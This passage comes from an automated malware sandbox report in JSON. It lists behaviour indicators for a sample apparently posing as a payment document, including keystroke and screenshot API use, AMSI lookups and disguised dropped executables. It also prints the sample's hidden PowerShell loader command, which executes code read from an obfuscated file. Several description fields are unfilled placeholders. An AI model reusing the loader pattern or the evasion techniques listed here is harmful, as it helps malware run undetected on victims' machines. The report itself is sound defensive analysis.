\"RpcServerRegisterIf2\" (UID: 00000000-00003820)","origin":"API Call","mitre_attack_id":"T1021","relevance":3,"id":"api-219","sources":[{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"}]},{"level":"informative","category":"Network Related","name":"Contains references to network communication API (string)","description":"Found reference to API \"AUTHUI.DLL: Shutdown Choices Message Window\" (Indicator: \" shutdown \"; Source: \"00000000-00005812.00000000.84117.00870000.00000002.mdmp, 00000000-00005812.00000001.86040.00870000.00000002.mdmp, 00000000-00005812.00000002.87960.00870000.00000002.mdmp\")\n Found reference to API \"AUTHUI.DLL: Shutdown Choices Message Window\" (Indicator: \" shutdown \"; Source: \"00000000-00006024.00000000.84994.00780000.00000002.mdmp, 00000000-00006024.00000001.86915.00780000.00000002.mdmp, 00000000-00006024.00000002.88839.00780000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-899","sources":[{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"}]},{"level":"informative","category":"Network Related","name":"Found potential IP address in binary/memory","description":"\"192.168.0.2\"","origin":"File/Memory","mitre_attack_id":"T1071","id":"string-14","sources":[{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"Remote Access Related","name":"Contains references to RPC protocol sequence strings","description":"Found string \"+ncalrpc:[OLE11F3E7C52AB9490997CACA22A637]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00003168.00000000.89398.002C0000.00000004.mdmp\")\n Found string \"+ncalrpc:[OLE848157BCC9804122AD6922453F7E]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00003168.00000000.89398.002C0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1090","relevance":1,"id":"string-531","sources":[{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to access credential file using Kerberos","description":"Found string \"Kerberos\" (Indicator: \"kerberos\"; Source: \"00000000-00003168.00000000.89398.002C0000.00000004.mdmp, 00000000-00003168.00000001.90100.0030A000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1558","relevance":1,"id":"string-868","sources":[{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to retrieve information about pressed keystrokes (API string)","description":"Found reference to API \"055132366,5772,103,,GetAsyncKeyState,user32.dll,\"252:07:25.250\",RX=0,PX=0\" (Indicator: \"GetAsyncKeyState\"; Source: \"00000000-00005812.00000000.84117.00240000.00000004.mdmp, 00000000-00005812.00000001.86040.00240000.00000004.mdmp, 00000000-00005812.00000002.87960.00240000.00000004.mdmp\")\n Found reference to API \"750159028,5772,103,,GetAsyncKeyState,user32.dll,\"252:07:53.184\",RX=0,PX=0\" (Indicator: \"GetAsyncKeyState\"; Source: \"00000000-00005812.00000001.86040.00240000.00000004.mdmp\")\n Found reference to API \"4838864510,5772,103,,GetAsyncKeyState,user32.dll,\"252:08:22.388\",RX=0,PX=0\" (Indicator: \"GetAsyncKeyState\"; Source: \"00000000-00005812.00000002.87960.00240000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1056.001","relevance":1,"id":"string-88","sources":[{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Attempts to read volume data via DOS device path","description":"\"27d75cacb0ec5845bd163635926ca0ecef4ea1bb92032df9e81e64b6e406e5a2.exe\" tries to directly access volume data \"C:\"","origin":"API Call","mitre_attack_id":"T1006","relevance":1,"id":"api-306","sources":[{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for searching a directory for files","description":"$45","origin":"API Call","mitre_attack_id":"T1083","relevance":5,"id":"api-102","sources":[{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve data about the local computer (API string)","description":"Found reference to API \"InterlockedExchange\" (Indicator: \"InterlockedExchange\"; Source: \"00000000-00003168.00000000.89398.00091000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":3,"id":"string-115","sources":[{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieves the class object from a DLL object handler (API string)","description":"Found reference to API \"p_DllGetClassObject\" (Indicator: \"DllGetClassObject\"; Source: \"00000000-00003168.00000000.89398.00091000.00000020.mdmp\")","origin":"File/Memory","relevance":1,"id":"string-82","sources":[{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"Unusual Characteristics","name":"Command line contains PowerShell","description":"Commandline contains PowerShell string \"powershell.exe -windowstyle hidden $tools7 = cat '%LOCALAPPDATA%\\fcp\\tartuffery\\appelinstans\\Insected\\Bnskraft\\Kenotafium\\Usquabaes\\Androidal.Sub' ; powershell.exe \"$tools7\"powershell.exe -windowstyle hidden $tools7 = cat '%LOCALAPPDATA%\\fcp\\tartuffery\\appelinstans\\Insected\\Bnskraft\\Kenotafium\\Usquabaes\\Androidal.Sub' ; powershell.exe \"$tools7\".......\" in [Source : ns278E.tmp]\n Commandline contains PowerShell string \"-windowstyle hidden $tools7 = cat '%LOCALAPPDATA%\\fcp\\tartuffery\\appelinstans\\Insected\\Bnskraft\\Kenotafium\\Usquabaes\\Androidal.Sub' ; powershell.exe \"$tools7\"powershell.exe -windowstyle hidden $tools7 = cat '%LOCALAPPDATA%\\fcp\\tartuffery\\appelinstans\\Insected\\Bnskraft\\Kenotafium\\Usquabaes\\Androidal.Sub' ; powershell.exe \"$tools7\".......\" in [Source : powershell.exe]","origin":"File/Memory","mitre_attack_id":"T1059.001","relevance":1,"id":"string-510","sources":[{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops file with high entropy, indicating encryption/obfuscation","description":"\"Fremlejet.Kle has high entropy\"","origin":"Binary File","mitre_attack_id":"T1560.003","relevance":3,"id":"binary-90","sources":[{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"}]},{"level":"informative","category":"Unusual Characteristics","name":"Input file contains API references not part of its Import Address Table (IAT)","description":"$46","origin":"File/Memory","mitre_attack_id":"T1106","relevance":10,"id":"string-64","sources":[{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"}]},{"level":"suspicious","category":"Anti-Detection/Stealthiness","name":"Able to hide command execution using obfuscation techniques","description":"$47","origin":"Monitored Target","mitre_attack_id":"T1027.010","relevance":5,"id":"target-498","sources":[{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"}]},{"level":"suspicious","category":"Anti-Detection/Stealthiness","name":"Queries kernel debugger information","description":"\"powershell.exe\" at 00000000-00005976-00000105-1229076\n \"powershell.exe\" at 00000000-00003820-00000105-2625409","origin":"API Call","mitre_attack_id":"T1622","relevance":6,"id":"api-10","sources":[{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"}]},{"level":"suspicious","category":"Anti-Detection/Stealthiness","name":"Uses PowerShell with a Windows hidden command line parameter","description":"$48","origin":"Monitored Target","mitre_attack_id":"T1564.003","relevance":7,"id":"target-114","sources":[{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Possibly checks for known debuggers/analysis tools","description":"Found string \":\\Windows\\system32\\dbghelp.dll\" (Indicator: \"dbghelp.dll\"; Source: \"00000000-00003168.00000001.90100.0030A000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1518.001","relevance":2,"id":"string-5","sources":[{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"}]},{"level":"suspicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"10/24 Antivirus vendors marked sample as malicious (41% detection rate)","origin":"External System","id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Calls an API that may be used to take screenshots","description":"\"27d75cacb0ec5845bd163635926ca0ecef4ea1bb92032df9e81e64b6e406e5a2.exe\" called \"CreateCompatibleBitmap\" with parameters {\"hdc\": \"800107d1\"\n \"cx\": \"687\"\n \"cy\": \"25\"}\n \"27d75cacb0ec5845bd163635926ca0ecef4ea1bb92032df9e81e64b6e406e5a2.exe\" called \"CreateCompatibleBitmap\" with parameters {\"hdc\": \"25010cdb\"\n \"cx\": \"16\"\n \"cy\": \"16\"}\n \"27d75cacb0ec5845bd163635926ca0ecef4ea1bb92032df9e81e64b6e406e5a2.exe\" called \"CreateCompatibleBitmap\" with parameters {\"hdc\": \"31010aa5\"\n \"cx\": \"687\"\n \"cy\": \"25\"}\n \"27d75cacb0ec5845bd163635926ca0ecef4ea1bb92032df9e81e64b6e406e5a2.exe\" called \"CreateCompatibleBitmap\" with parameters {\"hdc\": \"800107d1\"\n \"cx\": \"17\"\n \"cy\": \"165\"}\n \"27d75cacb0ec5845bd163635926ca0ecef4ea1bb92032df9e81e64b6e406e5a2.exe\" called \"CreateCompatibleBitmap\" with parameters {\"hdc\": \"501088a\"\n \"cx\": \"687\"\n \"cy\": \"25\"}\n \"27d75cacb0ec5845bd163635926ca0ecef4ea1bb92032df9e81e64b6e406e5a2.exe\" called \"CreateCompatibleBitmap\" with parameters {\"hdc\": \"5010859\"\n \"cx\": \"687\"\n \"cy\": \"25\"}","origin":"API Call","mitre_attack_id":"T1113","relevance":1,"id":"api-105","sources":[{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Drops PE files with misleading file extensions","description":"\"ns278E.tmp\" has type \"PE32 executable for MS Windows 4.00 (DLL) Intel i386 4 sections\"- Location: [%TEMP%\\nsn1F4.tmp\\ns278E.tmp]- [targetUID: 00000000-00005812]","origin":"Binary File","mitre_attack_id":"T1036","relevance":5,"id":"binary-38","sources":[{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Drops binary executable file with an unexpected extension","description":"\"DISMHOST.EXE.6A855315.bin\" has unusual extension","origin":"Binary File","mitre_attack_id":"T1036.008","relevance":3,"id":"binary-75","sources":[{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Invokes a process with a long commandline","description":"$49","origin":"Monitored Target","mitre_attack_id":"T1027","relevance":10,"id":"target-31","sources":[{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Process spawned with a very long commandline","description":"Commandline has 16377 characters (Source: \"powershell.exe\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":10,"id":"string-59","sources":[{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Calls an API typically used to find a resource in a module","description":"\"powershell.exe\" called \"FindResourceW\" with parameter \"7\" - (UID: 00000000-00003176)\n \"powershell.exe\" called \"FindResourceW\" with parameter \"63\" - (UID: 00000000-00003176)\n \"powershell.exe\" called \"FindResourceW\" with parameter \"64\" - (UID: 00000000-00003176)\n \"powershell.exe\" called \"FindResourceW\" with parameter \"8\" - (UID: 00000000-00003176)","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-140","sources":[{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to modify data representation (Powershell command string)","description":"Found string \"function ConvertFrom-SddlString\" (Indicator: \"ConvertFrom-SddlString\"; Source: \"00000000-00003176.00000000.68893.07400000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1565","relevance":1,"id":"string-366","sources":[{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to use Cryptographic classes","description":"Found reference to \"SA/SHA384\" (Indicator: \"SHA384\"; Source: \"00000000-00003176.00000000.68893.02CB0000.00000004.mdmp, 00000000-00003176.00000000.68893.07400000.00000004.mdmp, 00000000-00003176.00000001.70814.07400000.00000004.mdmp, 00000000-00003176.00000002.72734.07400000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":2,"id":"string-138","sources":[{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to write/modify file content (Powershell command string)","description":"Found string \"Microsoft.PowerShell.Management\\Set-Content -Value $ScriptMetadataString -Path $tempScriptFilePath -Force -WhatIf:$false -Confirm:$false\" (Indicator: \"Set-Content\"; Source: \"00000000-00003176.00000002.72734.06140000.00000004.mdmp\")\n Found string \"Microsoft.PowerShell.Management\\Set-Content -LiteralPath $tempScriptFilePath `\" (Indicator: \"Set-Content\"; Source: \"00000000-00003176.00000002.72734.06140000.00000004.mdmp\")\n Found string \"Microsoft.PowerShell.Management\\Set-Content -Value $tempContents -Path $tempScriptFilePath -Force -WhatIf:$false -Confirm:$false\" (Indicator: \"Set-Content\"; Source: \"00000000-00003176.00000002.72734.06140000.00000004.mdmp\")\n Found string \"Microsoft.PowerShell.Management\\Set-Content -Value $nuspec -Path $NuspecPath -Force -Confirm:$false -WhatIf:$false\" (Indicator: \"Set-Content\"; Source: \"00000000-00003176.00000002.72734.06140000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1036.005","relevance":1,"id":"string-331","sources":[{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains strings related to AMSI (Anti Malware Scan Interface)","description":"Observed string: \":\\WINDOWS\\SYSTEM32\\amsi.dll\" (Indicator: \"amsi.dll\") in Source: 00000000-00003176.00000000.68893.02CB0000.00000004.mdmp\n 00000000-00003176.00000001.70814.02CB0000.00000004.mdmp\n 00000000-00003176.00000002.72734.02CB0000.00000004.mdmp","origin":"File/Memory","mitre_attack_id":"T1562.001","relevance":1,"id":"string-231","sources":[{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Found virtual disk drive like strings","description":"Found string - \\\\.\\pipe\\PSHost.133530896507579369.3176.DefaultAppDomain.powershell; Source: \"00000000-00003176-00000C52-73564239\")","origin":"File/Memory","mitre_attack_id":"T1564","relevance":1,"id":"string-145","sources":[{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"Cryptographic Related","name":"Calls an API typically used to convert data from string to binary","description":"$4a","origin":"API Call","mitre_attack_id":"T1027","relevance":3,"id":"api-229","sources":[{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform encryption/decryption using RSA algorithm","description":"Found string \"rsacryptoserviceprovider\" (Indicator: \"RSACryptoServiceProvider\"; Source: \"00000000-00003176.00000000.68893.086F0000.00000004.mdmp\")\n Found string \"psrsacryptoserviceprovider\" (Indicator: \"RSACryptoServiceProvider\"; Source: \"00000000-00003176.00000000.68893.08AF0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1573.002","relevance":1,"id":"string-352","sources":[{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains reference to cryptographic keys","description":"Found string \"ncrypted Private Key\" (Indicator: \"private key\"; Source: \"00000000-00003176.00000000.68893.07400000.00000004.mdmp, 00000000-00003176.00000001.70814.07400000.00000004.mdmp, 00000000-00003176.00000002.72734.07400000.00000004.mdmp\")\n Found string \"// Microsoft root public key. If it doesn't contain a Microsoft root\" (Indicator: \"public key\"; Source: \"00000000-00003176.00000002.72734.06140000.00000004.mdmp\")\n Found string \"// public key, dwError is set to CERT_E_UNTRUSTEDROOT.\" (Indicator: \"public key\"; Source: \"00000000-00003176.00000002.72734.06140000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-280","sources":[{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"Cryptographic Related","name":"Found XOR operators (encryption/decryption)","description":"Found string \"D ^ 2\" (Indicator: \" ^ \"; Source: \"00000000-00003176.00000000.68893.08700000.00000004.mdmp, 00000000-00003176.00000002.72734.08700000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":1,"id":"string-624","sources":[{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to deobfuscate/decode files or information","description":"The analysis shows use of encryption and can be used to decode file or information. Matched sigs: Found XOR operators (encryption/decryption)","origin":"Indicator Combinations","mitre_attack_id":"T1140","relevance":1,"id":"summary-32","sources":[{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to use encryption for command and control traffic","description":"The analysis shows use of encryption\n use of http/https that can be used to send encrypted data on command and control server. Matched sigs: Found XOR operators (encryption/decryption)\n Matched sigs: Found potential URL in binary/memory\n Matched sigs: Found potential URLs in memory dumps\n Matched sigs: Found potential IP address in binary/memory","origin":"Indicator Combinations","mitre_attack_id":"T1573.001","relevance":1,"id":"summary-31","sources":[{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to perform scheduled transfer (API string)","description":"Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00003176.00000000.68893.6F635000.00000002.mdmp\")\n Found reference to API \"GetSystemTimePreciseAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00003176.00000001.70814.6F621000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1029","relevance":1,"id":"string-365","sources":[{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve machine time (API string)","description":"Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00003176.00000000.68893.6F635000.00000002.mdmp\")\n Found reference to API \"GetSystemTimePreciseAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00003176.00000001.70814.6F621000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-247","sources":[{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information of an entire harddrive","description":"\"powershell.exe\" queries volume information of \"C:\\\" at 00000000-00003176-00000C15-74356244","origin":"API Call","mitre_attack_id":"T1082","relevance":8,"id":"api-39","sources":[{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"General","name":"Accesses Software Policy Settings","description":"$4b","origin":"Registry Access","mitre_attack_id":"T1012","relevance":10,"id":"registry-18","sources":[{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"General","name":"Accesses System Certificates Settings","description":"$4c","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-17","sources":[{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"General","name":"Calls GetProcAddress on AmsiScanBuffer function (may used to bypass AMSI)","description":"\"powershell.exe\" called \"GetProcAddress\" with a parameter \"AmsiScanBuffer\" (UID: 00000000-00003176)","origin":"API Call","mitre_attack_id":"T1562.001","relevance":1,"id":"api-179","sources":[{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"General","name":"Contains ability to start a process (Powershell command string)","description":"Found string \"Microsoft.PowerShell.Management\\Start-Process -FilePath \"$script:NuGetExePath\" `\" (Indicator: \"Start-Process\"; Source: \"00000000-00003176.00000002.72734.06140000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1543","relevance":1,"id":"string-250","sources":[{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"General","name":"Loads the AMSI (Antimalware Scan Interface) DLL","description":"\"powershell.exe\" loaded module \"%WINDIR%\\SysWOW64\\amsi.dll\" at 6F640000","origin":"Loaded Module","mitre_attack_id":"T1562.001","id":"module-8","sources":[{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"General","name":"Loads the Bcrypt module DLL","description":"\"PaymentCopy210224.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcryptprimitives.dll\" at 771A0000\n \"PaymentCopy210224.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcrypt.dll\" at 72FB0000\n \"powershell.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcryptprimitives.dll\" at 771A0000\n \"powershell.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcrypt.dll\" at 72FB0000","origin":"Loaded Module","mitre_attack_id":"T1027","id":"module-9","sources":[{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"General","name":"Observed Powershell command strings","description":"$4d","origin":"File/Memory","mitre_attack_id":"T1059.001","relevance":1,"id":"string-187","sources":[{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to create/modify Windows services (Powershell command string)","description":"$4e","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-396","sources":[{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to download and install modules (Powershell command string)","description":"Found string \"function Install-Module\" (Indicator: \"Install-Module\"; Source: \"00000000-00003176.00000002.72734.06140000.00000004.mdmp\")\n Found string \"# Throw an error when Install-Module is used as a non-admin user and '-Scope CurrentUser' is not specified\" (Indicator: \"Install-Module\"; Source: \"00000000-00003176.00000002.72734.06140000.00000004.mdmp\")\n Found string \"# Throw an error when Install-Module/Script is used as a non-admin user and '-Scope CurrentUser' is not specified\" (Indicator: \"Install-Module\"; Source: \"00000000-00003176.00000002.72734.06140000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1105","relevance":1,"id":"string-256","sources":[{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains reference to background jobs (Powershell command string)","description":"Found string \"$dependentModulesJob = Microsoft.PowerShell.Core\\Start-Job -ScriptBlock $dependentModuleScript -ArgumentList $moduleName\" (Indicator: \"Start-Job\"; Source: \"00000000-00003176.00000002.72734.06140000.00000004.mdmp\")\n Found string \"Microsoft.PowerShell.Core\\Wait-Job -job $dependentModulesJob\" (Indicator: \"Wait-Job\"; Source: \"00000000-00003176.00000002.72734.06140000.00000004.mdmp\")\n Found string \"$dependentModules = Microsoft.PowerShell.Core\\Receive-Job -job $dependentModulesJob -ErrorAction Ignore\" (Indicator: \"Receive-Job\"; Source: \"00000000-00003176.00000002.72734.06140000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1197","relevance":1,"id":"string-375","sources":[{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains reference to software packages activity (Powershell command string)","description":"$4f","origin":"File/Memory","mitre_attack_id":"T1072","relevance":1,"id":"string-387","sources":[{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"Installation/Persistence","name":"References PATH environment registry keys","description":"Found string \"$script:SystemEnvironmentKey = 'HKLM:\\System\\CurrentControlSet\\Control\\Session Manager\\Environment'\"; Source: \"00000000-00003176.00000002.72734.06140000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1574.007","relevance":1,"id":"string-530","sources":[{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"Network Related","name":"Contains ability to get content from a webpage (Powershell command string)","description":"Found string \"$null = Microsoft.PowerShell.Utility\\Invoke-WebRequest -Uri $script:NuGetClientSourceURL `\" (Indicator: \"Invoke-WebRequest\"; Source: \"00000000-00003176.00000002.72734.06140000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1105","relevance":1,"id":"string-282","sources":[{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"Network Related","name":"Contains ability to test network connectivity (Powershell command string)","description":"Found string \"if((-not $script:IsCoreCLR) -and (Get-Command Microsoft.PowerShell.Management\\Test-Connection -ErrorAction Ignore))\" (Indicator: \"Test-Connection\"; Source: \"00000000-00003176.00000002.72734.06140000.00000004.mdmp\")\n Found string \"$connected = Microsoft.PowerShell.Management\\Test-Connection -ComputerName $microsoftDomain -Count 1 -Quiet\" (Indicator: \"Test-Connection\"; Source: \"00000000-00003176.00000002.72734.06140000.00000004.mdmp\")\n Found string \"elseif(Get-Command NetTCPIP\\Test-Connection -ErrorAction Ignore)\" (Indicator: \"Test-Connection\"; Source: \"00000000-00003176.00000002.72734.06140000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-372","sources":[{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"Network Related","name":"JA3 SSL client fingerprint","description":"Observed JA3 fingerprint: bd0bf25947d4a37404f0424edf4db9ad\n Observed JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e\n Observed JA3 fingerprint: 2b8da9e558fef05fabfa78758281c38c\n Observed JA3 fingerprint: 1fc1c530fdab845a0a2b05d0b5335bcb","origin":"Network Traffic","relevance":1,"id":"network-55","sources":[{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"Network Related","name":"Making HTTPS connections using secure TLS/SSL version","description":"Connection was made using TLSv1.2 [tls.handshake.version: 0x0303]","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":1,"id":"network-54","sources":[{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match - PowerShell file content","description":"YARA signature for detect powershell file matched on process \"00000000-00003176\"","origin":"YARA Signature","mitre_attack_id":"T1059.001","relevance":3,"id":"yara-36","sources":[{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve computer name","description":"\"powershell.exe\" called \"GetComputerNameW\" (UID: 00000000-00003176)","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-141","sources":[{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve user name","description":"\"powershell.exe\" called \"GetUserNameExW\" with parameters {\"NameFormat\": \"2\"}\n \"powershell.exe\" called \"GetUserNameW\" (UID: 00000000-00003176)\n \"powershell.exe\" called \"GetUserNameExW\" with parameters {\"NameFormat\": \"65538\"}","origin":"API Call","mitre_attack_id":"T1033","relevance":2,"id":"api-135","sources":[{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate objects (Powershell command string)","description":"$50","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-374","sources":[{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve information about operating system (API string)","description":"Found reference to API \"RtlGetVersion\" (Indicator: \"RtlGetVersion\"; Source: \"00000000-00003176.00000000.68893.6F635000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-86","sources":[{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve specified item(s) (Powershell command string)","description":"$51","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-394","sources":[{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve user privileges (API string)","description":"Found reference to API \"$script:IsRunningAsElevated = $prp.IsInRole($adm)\" (Indicator: \"IsInRole\"; Source: \"00000000-00003176.00000002.72734.06140000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-217","sources":[{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains string like password/secret","description":"$52","origin":"File/Memory","mitre_attack_id":"T1555","relevance":1,"id":"string-475","sources":[{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"System Security","name":"Contains ability to delete a property and its value from an item (Powershell command string)","description":"Found string \"function Uninstall-Module\" (Indicator: \"Uninstall-Module\"; Source: \"00000000-00003176.00000002.72734.06140000.00000004.mdmp\")\n Found string \"function Uninstall-Script\" (Indicator: \"Uninstall-Script\"; Source: \"00000000-00003176.00000002.72734.06140000.00000004.mdmp\")\n Found string \"function Unregister-PSRepository\" (Indicator: \"Unregister-PSRepository\"; Source: 